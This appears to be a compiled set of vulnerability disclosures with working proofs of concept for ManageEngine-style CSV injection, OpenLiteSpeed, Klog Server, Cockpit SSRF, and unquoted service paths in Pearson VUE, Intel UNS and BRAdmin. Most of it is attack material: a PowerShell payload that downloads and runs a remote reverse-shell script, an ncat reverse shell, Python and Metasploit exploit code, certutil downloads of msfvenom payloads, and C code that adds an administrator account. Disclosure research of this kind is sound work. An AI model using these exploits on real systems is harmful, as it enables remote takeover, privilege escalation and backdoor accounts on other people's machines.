Content-Type: application/x-www-form-urlencoded
Content-Length: 192
Origin: https://192.168.1.253:9251
Connection: close
Referer: https://192.168.1.253:9251/j_security_check
Cookie: *
Upgrade-Insecure-Requests: 1
j_username=%3Dcmd%7C%27%2FC+powershell.exe+-c+iex+%28New-Object+Net.WebClient%29.DownloadString%28%27http%3A%2F%2F192.168.1.111%2FInvoke-PowerShellTcp.ps1%27%29%27&j_password=admin&domainName=kandemir.local&AUTHRULE_NAME=ADAuthenticator&adscsrf=741024de-45e4-4193-b0a3-d1fd2d663f28
```
{% endcode %}
And the request attempt will be saved to*"User Attempts Audit Report"* table that is under the *Reports > Audit Reports* section. `Url: https://TARGET-IP/webclient/index.html#/reports/listReports/12`
`j_username` parameter value is saved to *"User Name"* column which is start of line in the CSV file:
```
=cmd|'/C powershell.exe -c iex (New-Object Net.WebClient).DownloadString('http://192.168.1.111/Invoke-PowerShellTcp.ps1')'
```
**2-** Powershell command that sends reverse shell to attacker machine is embeded to last line of the`Invoke-PowershellTcp.ps1` file.
**3-** If admin user exports this table as CSV file and confirms the alert popup, reverse shell connection will be obtained by malicious user.
{% embed url="" %}
{% embed url="" %}
```
# Author: Metin Yunus Kandemir
```
### # Reference
{% embed url="" %}
{% embed url="" %}
# Openlitespeed Web Server 1.7.8 - Privilege Escalation (CVE-2021-26758)
Openlitespeed Web Server 1.7.8 - Command Injection to Privilege Escalation (CVE-2021-26758)
### # Description
OpenLiteSpeed web server version 1.7.8 allows attackers to gain root terminal access and execute commands on the host system. The `path` parameter has command injection vulnerability that leads to escalate privilege. OpenLiteSpeed (1.7.8) web server runs with `user(nobody):group(nogroup)` privilege. However, `extUser` and `extGroup` parameters could be used to join a group (GID) such as shadow, sudo, etc.
I found a way to escalate privileges on Ubuntu 18.04 via OpenLiteSpeed web server that runs with *`user(nobody):group(nogroup)`* privilege . According to this vulnerability , system user that has admin panel credentials can add himself to sudo group or shadow group( to read /etc/shadow file) . So that the user can execute command with high privileges.
Command injection vulnerability is discovered by *`cmOs - SunCSR`*
### # Proof of Concept
* Assuming that there is a test user that is not member of sudo group.
* User changes External App configuration as following to get reverse shell with high privileges.
```
(POST) HTTP Request:
POST /view/confMgr.php HTTP/1.1
Host: localhost:7080
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: text/html, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://localhost:7080/index.php
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 609
Origin: https://localhost:7080
Connection: close
Cookie: litespeed_admin_lang=english; LSUI37FE0C43B84483E0=05850662073b74332d87ffa206abe963; LSID37FE0C43B84483E0=YUSipPp8emA%3D; LSPA37FE0C43B84483E0=pmN9JUxkJwg%3D
name=lsphp&address=uds%3A%2F%2Ftmp%2Flshttpd%2Flsphp.sock¬e=&maxConns=10&env=PHP_LSAPI_CHILDREN%3D10%0D%0ALSAPI_AVOID_FORK%3D200M%0D%0ASHELL%3D%2Fbin%2Fbash%0D%0APATH%3D%2Fusr%2Fsbin%3A%2Fusr%2Fbin%3A%2Fsbin%3A%2Fbin&initTimeout=60&retryTimeout=0&persistConn=1&pcKeepAliveTimeout=&respBuffer=0&autoStart=2&path=%2Fusr%2Fbin%2Fncat+-nv+127.0.0.1+8081+-e+%2Fbin%2Fbash&backlog=100&instances=1&extUser=test&extGroup=sudo&umask=&runOnStartUp=1&extMaxIdleTime=&priority=0&memSoftLimit=2047M&memHardLimit=2047M&procSoftLimit=1400&procHardLimit=1500&a=s&m=serv&p=ext&t=A_EXT_LSAPI&r=lsphp&tk=0.60985900+1612100858
```
* The user sends a *Graceful Restart* request through admin panel and get reverse shell with sudo group privileges.
{% embed url="" %}
# Author: Metin Yunus Kandemir
{% embed url="" %}
# KLOG Server (Authenticated) Command Injection (CVE-2021-3317)
Klog Server 2.4.1 - Command Injection (Authenticated)
## # Detection
I have detected a authenticated command injection vulnerability in the Klog Server <=2.4.1 . `async.php` file includes that `source` parameter is executed via shell\_exec() function without input validation.
As you can see above image, if `action` parameter is set as `stream` , command injection could be possible due to `source` parameter is executed by shell\_exec() function through `command` variable.
To validate this vulnerability , sleep command is used. For `;sleep+5;` command , the server stays 5 seconds or so.
When `;whoami;` command is executed , the output indicates privileges as `apache` user . However , `apache` user is a member of sudo group so that we can execute commad with `root` privileges.
## # Exploitation
```python
import argparse
import requests
import sys
import urllib3
from argparse import ArgumentParser, Namespace
def main():
dsc = "Klog Server 2.4.1 - Command Injection (Authenticated)"
parser: ArgumentParser = argparse.ArgumentParser(description=dsc)
parser.add_argument("--target", help="IPv4 address of Cockpit server", type=str, required=True)
parser.add_argument("--username", help="Username", type=str, required=True)
parser.add_argument("--password", help="Password", type=str, required=True)
parser.add_argument("--command", help="Command", type=str, required=True)
args: Namespace = parser.parse_args()
if args.target:
target = args.target
if args.username:
username = args.username
if args.password:
password = args.password
if args.command:
command = args.command
exploit(target, username, password, command)
def exploit(target, username, password, command):
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
s = requests.Session()
headers = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Content-Type": "application/x-www-form-urlencoded",
"Connection": "close",
"Upgrade-Insecure-Requests": "1",
}
data = {"user" : username, "pswd" : password}
login = s.post("https://" + target + "/actions/authenticate.php" , data=data, headers=headers, allow_redirects=False, verify=False)
print("[*] Status Code for login request: " + str(login.status_code))
if login.status_code == 302:
check = s.get("https://" + target + "/index.php", allow_redirects=False, verify=False)
if check.status_code == 200:
print("[+] Authentication was successful!")
else:
print("[-] Authentication was unsuccessful!")
sys.exit(1)
else:
print("Something went wrong!")
sys.exit(1)
print("[*] Exploiting...\n")
executeCommand = s.get("https://" + target + "/actions/async.php?action=stream&source=;"+ command +";", allow_redirects=False, verify=False)
print(executeCommand.text)
sys.exit(0)
if __name__ == '__main__':
main()
```
{% embed url="" %}
# Author: Metin Yunus Kandemir
# Cokpit version 234 - Server Side Request Forgery (CVE-2020-35850)
Cockpit Version 234 - sshd Service Scanning via Server-Side Request Forgery (Unauthenticated)
### # Description
* Cockpit version: 234
* OS: Ubuntu 18.04
* Page: login
An unauthenticated user can detect open ssh port or another open ports on server that services Cockpit last version. In addition, this vulnerability that allows a user sends request to internal hosts for detecting open ports so that firewall configuration can be bypassed or the server can be used like gateway by attacker user for scanning process. For example, if system admin creates iptables rule to drop all packets that come to 22 port or another port, user can detect whether port 22 is open or not.
Assuming that there is a rule which the port 22 is open for 127.0.0.1 (loopback interface) only .
```
First HTTP Request:
GET /cockpit+=192.168.1.27:22/login HTTP/1.1
Host: 192.168.1.27:9090
User-Agent: *
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Authorization: Basic dWJ1bnR1OnVidW50dQ==
X-Authorize:
Connection: close
Cookie: cockpit=deleted
```
```
Second HTTP Request:
GET /cockpit+=127.0.0.1:22/login HTTP/1.1
Host: 192.168.1.27:9090
User-Agent: *
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Authorization: Basic dWJ1bnR1OnVidW50dQ==
X-Authorize:
Connection: close
Cookie: cockpit=deleted
```
The server-side request forgery vulnerability can be detected by comparing two requests above. First HTTP request does not return a response due to iptables rule.
### # Exploitation
```python
#!/usr/bin/python3
import argparse
import requests
import sys
import urllib3
import time
from colorama import Fore, Style
from argparse import ArgumentParser, Namespace
from bs4 import BeautifulSoup
"""
Example scanning for internal server:
python3 PoC.py --target 192.168.1.33:9090 --scan 172.16.16.16 --ports 21,22,23
Example scanning for loopback interface of server:
python3 PoC.py --target 192.168.1.33:9090
Description : https://github.com/passtheticket/vulnerability-research/tree/main/cockpitProject/README.md
"""
def main():
dsc = "Cockpit Version 234 - sshd Service Scanning via Server-Side Request Forgery (Unauthenticated)"
parser: ArgumentParser = argparse.ArgumentParser(description=dsc)
parser.add_argument("--target", help="IP address of Cockpit server", type=str, required=True)
parser.add_argument("--scan", help="IP address of server that will be scanned", type=str, required=False)
parser.add_argument("--ports", help="Ports (example: 21,22)", type=str, required=False)
args: Namespace = parser.parse_args()
if args.target:
target = args.target
if args.scan:
scan = args.scan
if args.ports:
ports = args.ports
else:
ports = "22"
else:
scan = "127.0.0.1"
if args.ports:
ports = args.ports
else:
ports = "22"
cockpitReq(target, scan, ports)
def cockpitReq(target, scan, ports):
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
portRange = ports.split(",")
for unsafe in portRange:
headers = {
"Host": str(target),
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0",
"Accept": "*/*",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Authorization": "Basic dW5zYWZlOmlubGluZQ==",
"X-Authorize": "",
"Connection": "close",
"Cookie": "cockpit=deleted",
}
req = requests.get("http://" + target + "/cockpit+=" + scan + ":" + unsafe + "/login", headers, verify=False)
time.sleep(2)
soup = BeautifulSoup(req.text, 'html.parser')
responseCode = req.status_code
responseTime = str(req.elapsed)
if responseCode == 404:
print("Cockpit server was not found!")
elif responseCode == 401:
if soup.title.string == "Authentication failed":
print(Fore.GREEN + Style.BRIGHT + "[+] Port: "+ unsafe + " sshd service is detected!")
elif soup.title.string == "Authentication failed: no-host":
if responseTime > "0:00:10.000000":
print(Fore.GREEN + Style.BRIGHT +"[-] Port: "+ unsafe + " is open, sshd service is not detected!")
else:
print(Fore.RED + Style.BRIGHT +"[-] Port: "+ unsafe + " sshd service is not detected!")
else:
print(Fore.RED + Style.BRIGHT +"[-] Error is occured!")
print("[-] One bad day!")
sys.exit(1)
else:
print("Something went wrong!")
main()
```
{% embed url="" %}
{% embed url="" %}
{% embed url="" %}
{% embed url="" %}
# Author: Metin Yunus Kandemir
# KLOG Server Unauthenticated Command Injection (CVE-2020-35729)
As you can see in the code line above , the user input received without any filtering in the login panel is running on the server.The purpose of code line is fail login user save on ‘log.sh’ file found in the path /klog/www/config/scripts/ .Shown below see log.sh source codes.
Where ‘logmsg’ variable holds the user value in here and Var / log / klog / 127.0.0.1 / kaudit.log file is saved as in the code. This situation cause be command injection vulnerability.
### VULNERABILITY DETECTION AND EXPLOTATION
In the first step “%26sleep+5%26” payload’s has been sent and it is provided to run on target klog server .This situation Burpsuite is shown below in the screenshot.
Then, in order to automate the reverse shell connection on the server, the exploit shown in the screenshot below, was run and the shell operation was successfully performed in the listening NC connection.
{% embed url="" %}
```ruby
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
def initialize(info={})
super(update_info(info,
'Name' => 'Klog Server Unauthenticated Command Injection Vulnerability',
'Description' => %q{
This module exploits an unauthenticated command injection vulnerability in Klog Server <= 2.4.1.
"user" parameter is executed via shell_exec() function without input validation.
},
'License' => MSF_LICENSE,
'Author' =>
[ 'B3KC4T', # Vulnerability discovery
'Metin Yunus Kandemir', # Metasploit module
],
'References' =>
[
['CVE', '2020-35729'],
['URL', 'https://docs.unsafe-inline.com/0day/klog-server-unauthentication-command-injection']
],
'DefaultOptions' =>
{
'HttpClientTimeout' => 2,
},
'Platform' => [ 'unix', 'linux' ],
'Arch' => [ ARCH_X64 ],
'Targets' => [
['Klog Server 2.4.1 (x64)', {
'Platform' => 'linux',
'Arch' => ARCH_X64,
}],
],
'Privileged' => false,
'DisclosureDate' => "2021-01-05",
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(443),
OptBool.new('SSL', [true, 'Use SSL', true]),
OptString.new('TARGETURI', [true, 'The base path of the Klog Server', '/']),
]
)
end
def filter_bad_chars(cmd)
cmd.gsub!(/chmod \+x/, 'chmod 777')
cmd.gsub!(/;/, " %0A ")
cmd.gsub!(/ /, '+')
cmd.gsub!(/\//, '%2F')
end
def execute_command(cmd, opts = {})
command_payload = "unsafe+%22%26+#{filter_bad_chars(cmd)}%26%22"
print_status("Sending stager payload...")
uri = target_uri.path
res= send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(uri, 'actions', 'authenticate.php'),
'encode_params' => false,
'vars_post' => {
'user' => command_payload,
'pswd' => "inline"
}
})
if res && res.code == 302
print_error("The target is not vulnerable!")
else
print_good("The target is vulnerable!")
end
end
def check
uri = target_uri.path
res= send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(uri, 'actions', 'authenticate.php'),
'encode_params' => false,
'vars_post' => {
'user' => "unsafe+%22%26sleep+40%26%22", #checking blind command injection via sleep
'pswd' => "inline"
}
})
if res && res.code == 302
return Exploit::CheckCode::Safe
else
return Exploit::CheckCode::Vulnerable
end
end
def exploit
print_status("Exploiting...")
execute_cmdstager(flavor: :wget, delay: 10)
end
end
```
{% embed url="" %}
# Author: Mustafa Gündoğdu - b3kc4t
# Pearson Vue - VUEApplicationWrapper Unquoted Service Path (CVE-2020-36154)
Pearson Vue VTS 2.3.1911 Installer - VUEApplicationWrapper Unquoted Service Path
The Application Wrapper is the component that automates the Pearson VUE Testing System. The Wrapper is a scheduler that runs in the background on the test center’s server. VUEApplicationWrapper service has an unquoted service path vulnerability and insecure file permissions on "\Pearson VUE" directory that allows to overwrite by everyone so that unauthorized local user can leverage privileges to VUEService user that has administrative rights.
```
# Detection of unquoted service path:
C:\Users\VUEService>wmic service get name, pathname, displayname, startmode| findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i "Pearson" |findstr /i /v """
VUE Application Wrapper
VUEApplicationWrapper C:\Pearson VUE\VUE
Testing System\bin\VUEWrapper.exe
Auto
C:\Users\VUEService>sc qc VUEApplicationWrapper
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: VUEApplicationWrapper
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Pearson VUE\VUE TestingSystem\bin\VUEWrapper.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : VUE Application Wrapper
DEPENDENCIES : lanmanworkstation
SERVICE_START_NAME : .\VUEService
#Detection of insecure file permissions:
PS C:\Users\VUEService> Get-Acl -Path "c:\Pearson Vue\"
Directory: C:\
Path Owner Access
---- ----- ------
Pearson Vue BUILTIN\Administrators Everyone Allow FullControl...
```
exploit.bat :
```
@ECHO OFF
ECHO [+] executing command: "wmic service get name,pathname,displayname,startmode | findstr /i "Auto" | findstr /i"Pearson" | findstr /i /v "C:\Windows\\" | findstr /i /v """"
wmic service get name,pathname,displayname,startmode | findstr /i "Auto" |findstr /i "Pearson" | findstr /i /v "C:\Windows\\" | findstr /i /v """
sc qc VUEApplicationWrapper
powershell.exe -ep bypass -nop -c "Get-Acl -Path 'c:\Pearson Vue\'"
ECHO [+] Enumeration was completed successfully.
::Create VUE.exe with following commands on your kali and serve it on port 80. Also listen port 443 with netcat for reverse shell.
::msfvenom -p windows/x64/shell/reverse_tcp LHOST=LPORT=443 -f exe > VUE.exe
ECHO [*] If you create VUE.exe under "\Pearson VUE\" directory with your privileges, you might be able to get VUEService user privileges after windows was rebooted.
certutil -urlcache -split -f http:///VUE.exe "C:\PearsonVUE\VUE.exe"
ECHO [*] Downloading VUE executable...
PAUSE
IF EXIST "C:\Pearson VUE\VUE.exe" (
ECHO [+] The download was successful.
) ELSE (
ECHO [-] The download was unsuccessful.
PAUSE
)
ECHO [!] If you continue, system will be rebooted.
PAUSE
shutdown /r /t 0
::code end
```
{% embed url="" %}
# Author: Metin Yunus Kandemir
# Intel(r) Management and Security Application 5.2 - UNS Unquoted Service Path
Intel(r) Management and Security Application 5.2 - User Notification Service Unquoted Service Path Privilege Escalation
Intel(r) Management and Security Application User Notification Service (v5.2) path contains spaces and is not surrounded by quotation marks and Windows has to guess where to find the UNS executable that starts automatically. Windows will first consider the space at the end of the filename and interpret everything that follows are arguments passed to that executable.
Exploit URL:
```
# User Notification Service path:
C:\Program Files (x86)\Common Files\Intel\Privacy Icon\UNS\UNS.exe
```
```
0x01 Option:
File Path: C:\Program
Arguments: Files (x86)\Common Files\Intel\Privacy Icon\UNS\UNS.exe
```
If there is not Program.exe under "C:\\" directory, Windows will attempt second option.
```
0x02 Option:
File Path: C:\Program Files
Arguments: (x86)\Common Files\Intel\Privacy Icon\UNS\UNS.exe
```
If there is not Program Files.exe under "C:\\" directory , Windows will attempt third option.
```
0x03 Option:
File Path: C:\Program Files (x86)\Common
Arguments: Files\Intel\Privacy Icon\UNS\UNS.exe
```
If there is not Common.exe under "C:\Program Files(x86)\\" directory , Windows will attempt fourth option.
```
0x04 Option:
File Path: C:\Program Files (x86)\Common Files\Intel\Privacy
Arguments: Icon\UNS\UNS.exe
```
If there is not Privacy.exe under "C:\Program Files (x86)\Common Files\Intel\\" directory , Windows will attempt fifth option.
```
0x05 Option:
File Path:
C:\Program Files (x86)\Common Files\Intel\Privacy Icon\UNS\UNS.exe
Arguments:
```
If an user has permission to write one of these directories, mandatory level of user will be elevated as SYSTEM during reboot Windows 7 / 8 machine.
I have discovered this vulnerability on Intel User Notification Service 5.2 , maybe other versions are lower than 5.2 that are affected as well. Privacy.exe was created with mfsvenom and served on port 80. Also, port 443 was used for reverse shell so if there is a firewall in front of target machine, outbound firewall rules allow 80, 443, 53 ports usually.
Using following commands, I elevated mandatory level from high to SYSTEM without special misconfiguration on directory.
exploit.bat:
```
@ECHO OFF
ECHO =======================================================================================================================
ECHO INTEL(R) MANAGEMENT AND SECURITY APPLICATION USER NOTIFICATION SERVICE 5.2 - Unquoted Service Path Privilege Escalation
ECHO =======================================================================================================================
ECHO [+] executing command: "wmic service get name,pathname,displayname,startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """"
wmic service get name,pathname,displayname,startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """
sc qc UNS
ECHO [+] Your mandoroty level is:
whoami /groups | findstr /B /C:"Mandatory Label"
::Create Privacy.exe with following commands on your kali and serve it on port 80. Also listen port 443 with netcat for reverse shell.
::msfvenom -p windows/shell/reverse_tcp LHOST= LPORT=443 -f exe > Privacy.exe
ECHO [?]
ECHO [+] Enumeration was completed successfully.
ECHO [?] If you create Privacy.exe under Intel directory with your privileges, you might be able to get SYSTEM reverse shell after windows was rebooted.
PAUSE
certutil -urlcache -split -f http:///Privacy.exe "C:\Program Files (x86)\Common Files\Intel\Privacy.exe"
IF EXIST "C:\Program Files (x86)\Common Files\Intel\Privacy.exe" (
ECHO [+] The download was successful.
) ELSE (
ECHO [-] The download was unsuccessful.
PAUSE
)
ECHO [!] If you continue, system will reboot.
PAUSE
shutdown /r /t 0
::code end
```
{% embed url="" %}
# Author: Metin Yunus Kandemir
# BRAdmin Professional 3.75 - Unquoted Service Path
BRAdmin Professional 3.75 - BRA\_Scheduler Unquoted Service Path Privilege Escalation
*"BRAdmin Professional 3.75 software allows system administrators to view and control the status of their networked Brother and most other SNMP compliant printing devices."*
## Proof Of Concept
If a user can insert a executable which is called as "BRAdmin" under the `C:\Program Files (x86)\Brother\` directory , local system privileges could be obtained by the user.
For example, an user that has administrative privileges can obtain **`SYSTEM`** privileges through the vulnerable service.
This situation is valuable, especially if additional writing permission is applied to `\Brother\` directory for unprivileged user.
```
#Detection of unquoted service path:
C:\>wmic service get name, pathname, displayname, startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i "BRAdmin" |findstr /i /v """
Brother BRAdminPro Scheduler
BRA_Scheduler
C:\Program Files (x86)\Brother\BRAdmin Professional 3\bratimer.exe
Auto
C:\>sc qc BRA_Scheduler
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: BRA_Scheduler
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Program Files (x86)\Brother\BRAdmin Professional 3\bratimer.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Brother BRAdminPro Scheduler
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
```
### Steps to Reproduce:
1- User has a write privilege to `\Brother\` directory and creates msfvenom payload that adds new localadmin user to Windows computer.
```
msfvenom -p windows/adduser USER=unsafe PASS=In.line13 -f exe > BRAdmin.exe
```
2- Then user downloads this executable under the `\Brother\` directory and restarts the computer.
For restarting computer from command line:
```
shutdown /r /t 0
```
3- After the restarting process , `unsafe` user will be created and added the local Administrators group.
Windows Defender will detect the `BRAdmin.exe` executable as malicious after the `unsafe`user is added the local administrators group if target didn't make last Windows update properly.
Or below code could be used after compiling with gcc.
```
#include
int main ()
{
int i;
i = system("net user joker j@k3r.. /add & net localgroup Administrators joker /add");
return 0;
}
```
`i686-w64-mingw32-gcc addLocalAdmin.c -lws2_32 -o add.exe`
{% embed url="" %}
